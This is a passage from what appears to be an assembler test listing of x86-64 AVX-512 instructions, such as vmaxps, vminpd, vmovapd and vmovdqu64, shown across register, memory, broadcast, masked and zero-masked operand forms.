vmaxps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vmaxps zmm24, zmm24, zmm31
vmaxps zmm24, zmm24, zmm31, {sae}
vmaxps zmm24, zmm24, [rbx]
vmaxps zmm24, zmm24, [rbx]{1to16}
vmaxps zmm24, zmm24, [rbx+r11*8+256]
vmaxps zmm24, zmm24, [rbx+r11*8-256]
vmaxps zmm24{k5}, zmm24, zmm31
vmaxps zmm24{k5}, zmm24, zmm31, {sae}
vmaxps zmm24{k5}, zmm24, [rbx]
vmaxps zmm24{k5}, zmm24, [rbx]{1to16}
vmaxps zmm24{k5}, zmm24, [rbx+r11*8+256]
vmaxps zmm24{k5}, zmm24, [rbx+r11*8-256]
vmaxps zmm24{k5}{z}, zmm24, zmm31
vmaxps zmm24{k5}{z}, zmm24, zmm31, {sae}
vmaxps zmm24{k5}{z}, zmm24, [rbx]
vmaxps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vmaxps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vmaxps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vmaxsd xmm2, xmm7, xmm0
vmaxsd xmm2, xmm7, xmm0, {sae}
vmaxsd xmm2, xmm7, [rbx]
vmaxsd xmm2, xmm7, [rbx+r11*8+256]
vmaxsd xmm2, xmm7, [rbx+r11*8-256]
vmaxsd xmm2{k5}, xmm7, xmm0
vmaxsd xmm2{k5}, xmm7, xmm0, {sae}
vmaxsd xmm2{k5}, xmm7, [rbx]
vmaxsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vmaxsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vmaxsd xmm2{k5}{z}, xmm7, xmm0
vmaxsd xmm2{k5}{z}, xmm7, xmm0, {sae}
vmaxsd xmm2{k5}{z}, xmm7, [rbx]
vmaxsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmaxsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmaxss xmm2, xmm7, xmm0
vmaxss xmm2, xmm7, xmm0, {sae}
vmaxss xmm2, xmm7, [rbx]
vmaxss xmm2, xmm7, [rbx+r11*8+256]
vmaxss xmm2, xmm7, [rbx+r11*8-256]
vmaxss xmm2{k5}, xmm7, xmm0
vmaxss xmm2{k5}, xmm7, xmm0, {sae}
vmaxss xmm2{k5}, xmm7, [rbx]
vmaxss xmm2{k5}, xmm7, [rbx+r11*8+256]
vmaxss xmm2{k5}, xmm7, [rbx+r11*8-256]
vmaxss xmm2{k5}{z}, xmm7, xmm0
vmaxss xmm2{k5}{z}, xmm7, xmm0, {sae}
vmaxss xmm2{k5}{z}, xmm7, [rbx]
vmaxss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmaxss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vminpd xmm2, xmm7, xmm0
vminpd xmm2, xmm7, [rbx]
vminpd xmm2, xmm7, [rbx]{1to2}
vminpd xmm2, xmm7, [rbx+r11*8+256]
vminpd xmm2, xmm7, [rbx+r11*8-256]
vminpd xmm2{k5}, xmm7, xmm0
vminpd xmm2{k5}, xmm7, [rbx]
vminpd xmm2{k5}, xmm7, [rbx]{1to2}
vminpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vminpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vminpd xmm2{k5}{z}, xmm7, xmm0
vminpd xmm2{k5}{z}, xmm7, [rbx]
vminpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vminpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vminpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vminpd ymm16, ymm13, ymm15
vminpd ymm16, ymm13, [rbx]
vminpd ymm16, ymm13, [rbx]{1to4}
vminpd ymm16, ymm13, [rbx+r11*8+256]
vminpd ymm16, ymm13, [rbx+r11*8-256]
vminpd ymm16{k5}, ymm13, ymm15
vminpd ymm16{k5}, ymm13, [rbx]
vminpd ymm16{k5}, ymm13, [rbx]{1to4}
vminpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vminpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vminpd ymm16{k5}{z}, ymm13, ymm15
vminpd ymm16{k5}{z}, ymm13, [rbx]
vminpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vminpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vminpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vminpd zmm24, zmm24, zmm31
vminpd zmm24, zmm24, zmm31, {sae}
vminpd zmm24, zmm24, [rbx]
vminpd zmm24, zmm24, [rbx]{1to8}
vminpd zmm24, zmm24, [rbx+r11*8+256]
vminpd zmm24, zmm24, [rbx+r11*8-256]
vminpd zmm24{k5}, zmm24, zmm31
vminpd zmm24{k5}, zmm24, zmm31, {sae}
vminpd zmm24{k5}, zmm24, [rbx]
vminpd zmm24{k5}, zmm24, [rbx]{1to8}
vminpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vminpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vminpd zmm24{k5}{z}, zmm24, zmm31
vminpd zmm24{k5}{z}, zmm24, zmm31, {sae}
vminpd zmm24{k5}{z}, zmm24, [rbx]
vminpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vminpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vminpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vminps xmm2, xmm7, xmm0
vminps xmm2, xmm7, [rbx]
vminps xmm2, xmm7, [rbx]{1to4}
vminps xmm2, xmm7, [rbx+r11*8+256]
vminps xmm2, xmm7, [rbx+r11*8-256]
vminps xmm2{k5}, xmm7, xmm0
vminps xmm2{k5}, xmm7, [rbx]
vminps xmm2{k5}, xmm7, [rbx]{1to4}
vminps xmm2{k5}, xmm7, [rbx+r11*8+256]
vminps xmm2{k5}, xmm7, [rbx+r11*8-256]
vminps xmm2{k5}{z}, xmm7, xmm0
vminps xmm2{k5}{z}, xmm7, [rbx]
vminps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vminps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vminps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vminps ymm16, ymm13, ymm15
vminps ymm16, ymm13, [rbx]
vminps ymm16, ymm13, [rbx]{1to8}
vminps ymm16, ymm13, [rbx+r11*8+256]
vminps ymm16, ymm13, [rbx+r11*8-256]
vminps ymm16{k5}, ymm13, ymm15
vminps ymm16{k5}, ymm13, [rbx]
vminps ymm16{k5}, ymm13, [rbx]{1to8}
vminps ymm16{k5}, ymm13, [rbx+r11*8+256]
vminps ymm16{k5}, ymm13, [rbx+r11*8-256]
vminps ymm16{k5}{z}, ymm13, ymm15
vminps ymm16{k5}{z}, ymm13, [rbx]
vminps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vminps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vminps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vminps zmm24, zmm24, zmm31
vminps zmm24, zmm24, zmm31, {sae}
vminps zmm24, zmm24, [rbx]
vminps zmm24, zmm24, [rbx]{1to16}
vminps zmm24, zmm24, [rbx+r11*8+256]
vminps zmm24, zmm24, [rbx+r11*8-256]
vminps zmm24{k5}, zmm24, zmm31
vminps zmm24{k5}, zmm24, zmm31, {sae}
vminps zmm24{k5}, zmm24, [rbx]
vminps zmm24{k5}, zmm24, [rbx]{1to16}
vminps zmm24{k5}, zmm24, [rbx+r11*8+256]
vminps zmm24{k5}, zmm24, [rbx+r11*8-256]
vminps zmm24{k5}{z}, zmm24, zmm31
vminps zmm24{k5}{z}, zmm24, zmm31, {sae}
vminps zmm24{k5}{z}, zmm24, [rbx]
vminps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vminps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vminps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vminsd xmm2, xmm7, xmm0
vminsd xmm2, xmm7, xmm0, {sae}
vminsd xmm2, xmm7, [rbx]
vminsd xmm2, xmm7, [rbx+r11*8+256]
vminsd xmm2, xmm7, [rbx+r11*8-256]
vminsd xmm2{k5}, xmm7, xmm0
vminsd xmm2{k5}, xmm7, xmm0, {sae}
vminsd xmm2{k5}, xmm7, [rbx]
vminsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vminsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vminsd xmm2{k5}{z}, xmm7, xmm0
vminsd xmm2{k5}{z}, xmm7, xmm0, {sae}
vminsd xmm2{k5}{z}, xmm7, [rbx]
vminsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vminsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vminss xmm2, xmm7, xmm0
vminss xmm2, xmm7, xmm0, {sae}
vminss xmm2, xmm7, [rbx]
vminss xmm2, xmm7, [rbx+r11*8+256]
vminss xmm2, xmm7, [rbx+r11*8-256]
vminss xmm2{k5}, xmm7, xmm0
vminss xmm2{k5}, xmm7, xmm0, {sae}
vminss xmm2{k5}, xmm7, [rbx]
vminss xmm2{k5}, xmm7, [rbx+r11*8+256]
vminss xmm2{k5}, xmm7, [rbx+r11*8-256]
vminss xmm2{k5}{z}, xmm7, xmm0
vminss xmm2{k5}{z}, xmm7, xmm0, {sae}
vminss xmm2{k5}{z}, xmm7, [rbx]
vminss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vminss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmovapd xmm2, xmm0
vmovapd xmm2, [rbx]
vmovapd xmm2, [rbx+r11*8+256]
vmovapd xmm2, [rbx+r11*8-256]
vmovapd xmm2{k5}, xmm0
vmovapd xmm2{k5}, [rbx]
vmovapd xmm2{k5}, [rbx+r11*8+256]
vmovapd xmm2{k5}, [rbx+r11*8-256]
vmovapd xmm2{k5}{z}, xmm0
vmovapd xmm2{k5}{z}, [rbx]
vmovapd xmm2{k5}{z}, [rbx+r11*8+256]
vmovapd xmm2{k5}{z}, [rbx+r11*8-256]
vmovapd ymm16, ymm15
vmovapd ymm16, [rbx]
vmovapd ymm16, [rbx+r11*8+256]
vmovapd ymm16, [rbx+r11*8-256]
vmovapd ymm16{k5}, ymm15
vmovapd ymm16{k5}, [rbx]
vmovapd ymm16{k5}, [rbx+r11*8+256]
vmovapd ymm16{k5}, [rbx+r11*8-256]
vmovapd ymm16{k5}{z}, ymm15
vmovapd ymm16{k5}{z}, [rbx]
vmovapd ymm16{k5}{z}, [rbx+r11*8+256]
vmovapd ymm16{k5}{z}, [rbx+r11*8-256]
vmovapd zmm24, zmm31
vmovapd zmm24, [rbx]
vmovapd zmm24, [rbx+r11*8+256]
vmovapd zmm24, [rbx+r11*8-256]
vmovapd zmm24{k5}, zmm31
vmovapd zmm24{k5}, [rbx]
vmovapd zmm24{k5}, [rbx+r11*8+256]
vmovapd zmm24{k5}, [rbx+r11*8-256]
vmovapd zmm24{k5}{z}, zmm31
vmovapd zmm24{k5}{z}, [rbx]
vmovapd zmm24{k5}{z}, [rbx+r11*8+256]
vmovapd zmm24{k5}{z}, [rbx+r11*8-256]
vmovapd xmm0, xmm2
vmovapd ymm15, ymm16
vmovapd zmm31, zmm24
vmovapd [rbx], xmm2
vmovapd [rbx], ymm16
vmovapd [rbx], zmm24
vmovapd [rbx+r11*8+256], xmm2
vmovapd [rbx+r11*8+256], ymm16
vmovapd [rbx+r11*8+256], zmm24
vmovapd [rbx+r11*8-256], xmm2
vmovapd [rbx+r11*8-256], ymm16
vmovapd [rbx+r11*8-256], zmm24
vmovaps xmm2, xmm0
vmovaps xmm2, [rbx]
vmovaps xmm2, [rbx+r11*8+256]
vmovaps xmm2, [rbx+r11*8-256]
vmovaps xmm2{k5}, xmm0
vmovaps xmm2{k5}, [rbx]
vmovaps xmm2{k5}, [rbx+r11*8+256]
vmovaps xmm2{k5}, [rbx+r11*8-256]
vmovaps xmm2{k5}{z}, xmm0
vmovaps xmm2{k5}{z}, [rbx]
vmovaps xmm2{k5}{z}, [rbx+r11*8+256]
vmovaps xmm2{k5}{z}, [rbx+r11*8-256]
vmovaps ymm16, ymm15
vmovaps ymm16, [rbx]
vmovaps ymm16, [rbx+r11*8+256]
vmovaps ymm16, [rbx+r11*8-256]
vmovaps ymm16{k5}, ymm15
vmovaps ymm16{k5}, [rbx]
vmovaps ymm16{k5}, [rbx+r11*8+256]
vmovaps ymm16{k5}, [rbx+r11*8-256]
vmovaps ymm16{k5}{z}, ymm15
vmovaps ymm16{k5}{z}, [rbx]
vmovaps ymm16{k5}{z}, [rbx+r11*8+256]
vmovaps ymm16{k5}{z}, [rbx+r11*8-256]
vmovaps zmm24, zmm31
vmovaps zmm24, [rbx]
vmovaps zmm24, [rbx+r11*8+256]
vmovaps zmm24, [rbx+r11*8-256]
vmovaps zmm24{k5}, zmm31
vmovaps zmm24{k5}, [rbx]
vmovaps zmm24{k5}, [rbx+r11*8+256]
vmovaps zmm24{k5}, [rbx+r11*8-256]
vmovaps zmm24{k5}{z}, zmm31
vmovaps zmm24{k5}{z}, [rbx]
vmovaps zmm24{k5}{z}, [rbx+r11*8+256]
vmovaps zmm24{k5}{z}, [rbx+r11*8-256]
vmovaps xmm0, xmm2
vmovaps ymm15, ymm16
vmovaps zmm31, zmm24
vmovaps [rbx], xmm2
vmovaps [rbx], ymm16
vmovaps [rbx], zmm24
vmovaps [rbx+r11*8+256], xmm2
vmovaps [rbx+r11*8+256], ymm16
vmovaps [rbx+r11*8+256], zmm24
vmovaps [rbx+r11*8-256], xmm2
vmovaps [rbx+r11*8-256], ymm16
vmovaps [rbx+r11*8-256], zmm24
vmovd xmm2, ecx
vmovd xmm2, [rbx]
vmovd xmm2, [rbx+rsi*8+256]
vmovd ecx, xmm2
vmovd [rbx], xmm2
vmovd [rbx+rsi*8+256], xmm2
vmovddup xmm2, xmm0
vmovddup xmm2, [rbx]
vmovddup xmm2, [rbx+r11*8+256]
vmovddup xmm2, [rbx+r11*8-256]
vmovddup xmm2{k5}, xmm0
vmovddup xmm2{k5}, [rbx]
vmovddup xmm2{k5}, [rbx+r11*8+256]
vmovddup xmm2{k5}, [rbx+r11*8-256]
vmovddup xmm2{k5}{z}, xmm0
vmovddup xmm2{k5}{z}, [rbx]
vmovddup xmm2{k5}{z}, [rbx+r11*8+256]
vmovddup xmm2{k5}{z}, [rbx+r11*8-256]
vmovddup ymm16, ymm15
vmovddup ymm16, [rbx]
vmovddup ymm16, [rbx+r11*8+256]
vmovddup ymm16, [rbx+r11*8-256]
vmovddup ymm16{k5}, ymm15
vmovddup ymm16{k5}, [rbx]
vmovddup ymm16{k5}, [rbx+r11*8+256]
vmovddup ymm16{k5}, [rbx+r11*8-256]
vmovddup ymm16{k5}{z}, ymm15
vmovddup ymm16{k5}{z}, [rbx]
vmovddup ymm16{k5}{z}, [rbx+r11*8+256]
vmovddup ymm16{k5}{z}, [rbx+r11*8-256]
vmovddup zmm24, zmm31
vmovddup zmm24, [rbx]
vmovddup zmm24, [rbx+r11*8+256]
vmovddup zmm24, [rbx+r11*8-256]
vmovddup zmm24{k5}, zmm31
vmovddup zmm24{k5}, [rbx]
vmovddup zmm24{k5}, [rbx+r11*8+256]
vmovddup zmm24{k5}, [rbx+r11*8-256]
vmovddup zmm24{k5}{z}, zmm31
vmovddup zmm24{k5}{z}, [rbx]
vmovddup zmm24{k5}{z}, [rbx+r11*8+256]
vmovddup zmm24{k5}{z}, [rbx+r11*8-256]
vmovddup xmm2, xmm0
vmovddup xmm2, [rbx]
vmovddup xmm2, [rbx+r11*8+256]
vmovddup xmm2, [rbx+r11*8-256]
vmovddup xmm2{k5}, xmm0
vmovddup xmm2{k5}, [rbx]
vmovddup xmm2{k5}, [rbx+r11*8+256]
vmovddup xmm2{k5}, [rbx+r11*8-256]
vmovddup xmm2{k5}{z}, xmm0
vmovddup xmm2{k5}{z}, [rbx]
vmovddup xmm2{k5}{z}, [rbx+r11*8+256]
vmovddup xmm2{k5}{z}, [rbx+r11*8-256]
vmovddup ymm16, ymm15
vmovddup ymm16, [rbx]
vmovddup ymm16, [rbx+r11*8+256]
vmovddup ymm16, [rbx+r11*8-256]
vmovddup ymm16{k5}, ymm15
vmovddup ymm16{k5}, [rbx]
vmovddup ymm16{k5}, [rbx+r11*8+256]
vmovddup ymm16{k5}, [rbx+r11*8-256]
vmovddup ymm16{k5}{z}, ymm15
vmovddup ymm16{k5}{z}, [rbx]
vmovddup ymm16{k5}{z}, [rbx+r11*8+256]
vmovddup ymm16{k5}{z}, [rbx+r11*8-256]
vmovddup zmm24, zmm31
vmovddup zmm24, [rbx]
vmovddup zmm24, [rbx+r11*8+256]
vmovddup zmm24, [rbx+r11*8-256]
vmovddup zmm24{k5}, zmm31
vmovddup zmm24{k5}, [rbx]
vmovddup zmm24{k5}, [rbx+r11*8+256]
vmovddup zmm24{k5}, [rbx+r11*8-256]
vmovddup zmm24{k5}{z}, zmm31
vmovddup zmm24{k5}{z}, [rbx]
vmovddup zmm24{k5}{z}, [rbx+r11*8+256]
vmovddup zmm24{k5}{z}, [rbx+r11*8-256]
vmovddup xmm2, xmm0
vmovddup xmm2, [rbx]
vmovddup xmm2, [rbx+r11*8+256]
vmovddup xmm2, [rbx+r11*8-256]
vmovddup xmm2{k5}, xmm0
vmovddup xmm2{k5}, [rbx]
vmovddup xmm2{k5}, [rbx+r11*8+256]
vmovddup xmm2{k5}, [rbx+r11*8-256]
vmovddup xmm2{k5}{z}, xmm0
vmovddup xmm2{k5}{z}, [rbx]
vmovddup xmm2{k5}{z}, [rbx+r11*8+256]
vmovddup xmm2{k5}{z}, [rbx+r11*8-256]
vmovddup ymm16, ymm15
vmovddup ymm16, [rbx]
vmovddup ymm16, [rbx+r11*8+256]
vmovddup ymm16, [rbx+r11*8-256]
vmovddup ymm16{k5}, ymm15
vmovddup ymm16{k5}, [rbx]
vmovddup ymm16{k5}, [rbx+r11*8+256]
vmovddup ymm16{k5}, [rbx+r11*8-256]
vmovddup ymm16{k5}{z}, ymm15
vmovddup ymm16{k5}{z}, [rbx]
vmovddup ymm16{k5}{z}, [rbx+r11*8+256]
vmovddup ymm16{k5}{z}, [rbx+r11*8-256]
vmovddup zmm24, zmm31
vmovddup zmm24, [rbx]
vmovddup zmm24, [rbx+r11*8+256]
vmovddup zmm24, [rbx+r11*8-256]
vmovddup zmm24{k5}, zmm31
vmovddup zmm24{k5}, [rbx]
vmovddup zmm24{k5}, [rbx+r11*8+256]
vmovddup zmm24{k5}, [rbx+r11*8-256]
vmovddup zmm24{k5}{z}, zmm31
vmovddup zmm24{k5}{z}, [rbx]
vmovddup zmm24{k5}{z}, [rbx+r11*8+256]
vmovddup zmm24{k5}{z}, [rbx+r11*8-256]
vmovdqa32 xmm2, xmm0
vmovdqa32 xmm2, [rbx]
vmovdqa32 xmm2, [rbx+r11*8+256]
vmovdqa32 xmm2, [rbx+r11*8-256]
vmovdqa32 xmm2{k5}, xmm0
vmovdqa32 xmm2{k5}, [rbx]
vmovdqa32 xmm2{k5}, [rbx+r11*8+256]
vmovdqa32 xmm2{k5}, [rbx+r11*8-256]
vmovdqa32 xmm2{k5}{z}, xmm0
vmovdqa32 xmm2{k5}{z}, [rbx]
vmovdqa32 xmm2{k5}{z}, [rbx+r11*8+256]
vmovdqa32 xmm2{k5}{z}, [rbx+r11*8-256]
vmovdqa32 ymm16, ymm15
vmovdqa32 ymm16, [rbx]
vmovdqa32 ymm16, [rbx+r11*8+256]
vmovdqa32 ymm16, [rbx+r11*8-256]
vmovdqa32 ymm16{k5}, ymm15
vmovdqa32 ymm16{k5}, [rbx]
vmovdqa32 ymm16{k5}, [rbx+r11*8+256]
vmovdqa32 ymm16{k5}, [rbx+r11*8-256]
vmovdqa32 ymm16{k5}{z}, ymm15
vmovdqa32 ymm16{k5}{z}, [rbx]
vmovdqa32 ymm16{k5}{z}, [rbx+r11*8+256]
vmovdqa32 ymm16{k5}{z}, [rbx+r11*8-256]
vmovdqa32 zmm24, zmm31
vmovdqa32 zmm24, [rbx]
vmovdqa32 zmm24, [rbx+r11*8+256]
vmovdqa32 zmm24, [rbx+r11*8-256]
vmovdqa32 zmm24{k5}, zmm31
vmovdqa32 zmm24{k5}, [rbx]
vmovdqa32 zmm24{k5}, [rbx+r11*8+256]
vmovdqa32 zmm24{k5}, [rbx+r11*8-256]
vmovdqa32 zmm24{k5}{z}, zmm31
vmovdqa32 zmm24{k5}{z}, [rbx]
vmovdqa32 zmm24{k5}{z}, [rbx+r11*8+256]
vmovdqa32 zmm24{k5}{z}, [rbx+r11*8-256]
vmovdqa32 xmm0, xmm2
vmovdqa32 ymm15, ymm16
vmovdqa32 zmm31, zmm24
vmovdqa32 [rbx], xmm2
vmovdqa32 [rbx], ymm16
vmovdqa32 [rbx], zmm24
vmovdqa32 [rbx+r11*8+256], xmm2
vmovdqa32 [rbx+r11*8+256], ymm16
vmovdqa32 [rbx+r11*8+256], zmm24
vmovdqa32 [rbx+r11*8-256], xmm2
vmovdqa32 [rbx+r11*8-256], ymm16
vmovdqa32 [rbx+r11*8-256], zmm24
vmovdqa64 xmm2, xmm0
vmovdqa64 xmm2, [rbx]
vmovdqa64 xmm2, [rbx+r11*8+256]
vmovdqa64 xmm2, [rbx+r11*8-256]
vmovdqa64 xmm2{k5}, xmm0
vmovdqa64 xmm2{k5}, [rbx]
vmovdqa64 xmm2{k5}, [rbx+r11*8+256]
vmovdqa64 xmm2{k5}, [rbx+r11*8-256]
vmovdqa64 xmm2{k5}{z}, xmm0
vmovdqa64 xmm2{k5}{z}, [rbx]
vmovdqa64 xmm2{k5}{z}, [rbx+r11*8+256]
vmovdqa64 xmm2{k5}{z}, [rbx+r11*8-256]
vmovdqa64 ymm16, ymm15
vmovdqa64 ymm16, [rbx]
vmovdqa64 ymm16, [rbx+r11*8+256]
vmovdqa64 ymm16, [rbx+r11*8-256]
vmovdqa64 ymm16{k5}, ymm15
vmovdqa64 ymm16{k5}, [rbx]
vmovdqa64 ymm16{k5}, [rbx+r11*8+256]
vmovdqa64 ymm16{k5}, [rbx+r11*8-256]
vmovdqa64 ymm16{k5}{z}, ymm15
vmovdqa64 ymm16{k5}{z}, [rbx]
vmovdqa64 ymm16{k5}{z}, [rbx+r11*8+256]
vmovdqa64 ymm16{k5}{z}, [rbx+r11*8-256]
vmovdqa64 zmm24, zmm31
vmovdqa64 zmm24, [rbx]
vmovdqa64 zmm24, [rbx+r11*8+256]
vmovdqa64 zmm24, [rbx+r11*8-256]
vmovdqa64 zmm24{k5}, zmm31
vmovdqa64 zmm24{k5}, [rbx]
vmovdqa64 zmm24{k5}, [rbx+r11*8+256]
vmovdqa64 zmm24{k5}, [rbx+r11*8-256]
vmovdqa64 zmm24{k5}{z}, zmm31
vmovdqa64 zmm24{k5}{z}, [rbx]
vmovdqa64 zmm24{k5}{z}, [rbx+r11*8+256]
vmovdqa64 zmm24{k5}{z}, [rbx+r11*8-256]
vmovdqa64 xmm0, xmm2
vmovdqa64 ymm15, ymm16
vmovdqa64 zmm31, zmm24
vmovdqa64 [rbx], xmm2
vmovdqa64 [rbx], ymm16
vmovdqa64 [rbx], zmm24
vmovdqa64 [rbx+r11*8+256], xmm2
vmovdqa64 [rbx+r11*8+256], ymm16
vmovdqa64 [rbx+r11*8+256], zmm24
vmovdqa64 [rbx+r11*8-256], xmm2
vmovdqa64 [rbx+r11*8-256], ymm16
vmovdqa64 [rbx+r11*8-256], zmm24
vmovdqu32 xmm2, xmm0
vmovdqu32 xmm2, [rbx]
vmovdqu32 xmm2, [rbx+r11*8+256]
vmovdqu32 xmm2, [rbx+r11*8-256]
vmovdqu32 xmm2{k5}, xmm0
vmovdqu32 xmm2{k5}, [rbx]
vmovdqu32 xmm2{k5}, [rbx+r11*8+256]
vmovdqu32 xmm2{k5}, [rbx+r11*8-256]
vmovdqu32 xmm2{k5}{z}, xmm0
vmovdqu32 xmm2{k5}{z}, [rbx]
vmovdqu32 xmm2{k5}{z}, [rbx+r11*8+256]
vmovdqu32 xmm2{k5}{z}, [rbx+r11*8-256]
vmovdqu32 ymm16, ymm15
vmovdqu32 ymm16, [rbx]
vmovdqu32 ymm16, [rbx+r11*8+256]
vmovdqu32 ymm16, [rbx+r11*8-256]
vmovdqu32 ymm16{k5}, ymm15
vmovdqu32 ymm16{k5}, [rbx]
vmovdqu32 ymm16{k5}, [rbx+r11*8+256]
vmovdqu32 ymm16{k5}, [rbx+r11*8-256]
vmovdqu32 ymm16{k5}{z}, ymm15
vmovdqu32 ymm16{k5}{z}, [rbx]
vmovdqu32 ymm16{k5}{z}, [rbx+r11*8+256]
vmovdqu32 ymm16{k5}{z}, [rbx+r11*8-256]
vmovdqu32 zmm24, zmm31
vmovdqu32 zmm24, [rbx]
vmovdqu32 zmm24, [rbx+r11*8+256]
vmovdqu32 zmm24, [rbx+r11*8-256]
vmovdqu32 zmm24{k5}, zmm31
vmovdqu32 zmm24{k5}, [rbx]
vmovdqu32 zmm24{k5}, [rbx+r11*8+256]
vmovdqu32 zmm24{k5}, [rbx+r11*8-256]
vmovdqu32 zmm24{k5}{z}, zmm31
vmovdqu32 zmm24{k5}{z}, [rbx]
vmovdqu32 zmm24{k5}{z}, [rbx+r11*8+256]
vmovdqu32 zmm24{k5}{z}, [rbx+r11*8-256]
vmovdqu32 xmm0, xmm2
vmovdqu32 ymm15, ymm16
vmovdqu32 zmm31, zmm24
vmovdqu32 [rbx], xmm2
vmovdqu32 [rbx], ymm16
vmovdqu32 [rbx], zmm24
vmovdqu32 [rbx+r11*8+256], xmm2
vmovdqu32 [rbx+r11*8+256], ymm16
vmovdqu32 [rbx+r11*8+256], zmm24
vmovdqu32 [rbx+r11*8-256], xmm2
vmovdqu32 [rbx+r11*8-256], ymm16
vmovdqu32 [rbx+r11*8-256], zmm24
vmovdqu64 xmm2, xmm0
vmovdqu64 xmm2, [rbx]
vmovdqu64 xmm2, [rbx+r11*8+256]
vmovdqu64 xmm2, [rbx+r11*8-256]
vmovdqu64 xmm2{k5}, xmm0
vmovdqu64 xmm2{k5}, [rbx]
vmovdqu64 xmm2{k5}, [rbx+r11*8+256]
vmovdqu64 xmm2{k5}, [rbx+r11*8-256]
vmovdqu64 xmm2{k5}{z}, xmm0
vmovdqu64 xmm2{k5}{z}, [rbx]
vmovdqu64 xmm2{k5}{z}, [rbx+r11*8+256]
vmovdqu64 xmm2{k5}{z}, [rbx+r11*8-256]
vmovdqu64 ymm16, ymm15
vmovdqu64 ymm16, [rbx]
vmovdqu64 ymm16, [rbx+r11*8+256]
vmovdqu64 ymm16, [rbx+r11*8-256]
vmovdqu64 ymm16{k5}, ymm15
vmovdqu64 ymm16{k5}, [rbx]
vmovdqu64 ymm16{k5}, [rbx+r11*8+256]
vmovdqu64 ymm16{k5}, [rbx+r11*8-256]
vmovdqu64 ymm16{k5}{z}, ymm15
vmovdqu64 ymm16{k5}{z}, [rbx]
vmovdqu64 ymm16{k5}{z}, [rbx+r11*8+256]
vmovdqu64 ymm16{k5}{z}, [rbx+r11*8-256]
vmovdqu64 zmm24, zmm31
vmovdqu64 zmm24, [rbx]
vmovdqu64 zmm24, [rbx+r11*8+256]
vmovdqu64 zmm24, [rbx+r11*8-256]
vmovdqu64 zmm24{k5}, zmm31
vmovdqu64 zmm24{k5}, [rbx]
vmovdqu64 zmm24{k5}, [rbx+r11*8+256]
vmovdqu64 zmm24{k5}, [rbx+r11*8-256]
vmovdqu64 zmm24{k5}{z}, zmm31
vmovdqu64 zmm24{k5}{z}, [rbx]
vmovdqu64 zmm24{k5}{z}, [rbx+r11*8+256]
vmovdqu64 zmm24{k5}{z}, [rbx+r11*8-256]
vmovdqu64 xmm0, xmm2
vmovdqu64 ymm15, ymm16
vmovdqu64 zmm31, zmm24
vmovdqu64 [rbx], xmm2
vmovdqu64 [rbx], ymm16
vmovdqu64 [rbx], zmm24
vmovdqu64 [rbx+r11*8+256], xmm2
vmovdqu64 [rbx+r11*8+256], ymm16
vmovdqu64 [rbx+r11*8+256], zmm24
vmovdqu64 [rbx+r11*8-256], xmm2
vmovdqu64 [rbx+r11*8-256], ymm16
vmovdqu64 [rbx+r11*8-256], zmm24
vmovhlps xmm2, xmm7, xmm0
vmovhpd xmm2, xmm7, [rbx]
vmovhpd xmm2, xmm7, [rbx+rsi*8+256]
vmovhpd xmm2, xmm7, [rbx+rsi*8-256]
vmovhpd [rbx], xmm2
vmovhpd [rbx+rsi*8+256], xmm2
vmovhpd [rbx+rsi*8-256], xmm2
vmovhps xmm2, xmm7, [rbx]
vmovhps xmm2, xmm7, [rbx+rsi*8+256]
vmovhps xmm2, xmm7, [rbx+rsi*8-256]
vmovhps [rbx], xmm2
vmovhps [rbx+rsi*8+256], xmm2
vmovhps [rbx+rsi*8-256], xmm2
vmovlhps xmm2, xmm7, xmm0
vmovlpd xmm2, xmm7, [rbx]
vmovlpd xmm2, xmm7, [rbx+rsi*8+256]
vmovlpd xmm2, xmm7, [rbx+rsi*8-256]
vmovlpd [rbx], xmm2
vmovlpd [rbx+rsi*8+256], xmm2
vmovlpd [rbx+rsi*8-256], xmm2
vmovlps xmm2, xmm7, [rbx]
vmovlps xmm2, xmm7, [rbx+rsi*8+256]
vmovlps xmm2, xmm7, [rbx+rsi*8-256]
vmovlps [rbx], xmm2
vmovlps [rbx+rsi*8+256], xmm2
vmovlps [rbx+rsi*8-256], xmm2
vmovntdq [rbx], xmm2
vmovntdq [rbx], ymm16
vmovntdq [rbx], zmm24
vmovntdq [rbx+rsi*8+256], xmm2
vmovntdq [rbx+rsi*8+256], ymm16
vmovntdq [rbx+rsi*8+256], zmm24
vmovntdq [rbx+rsi*8-256], xmm2
vmovntdq [rbx+rsi*8-256], ymm16
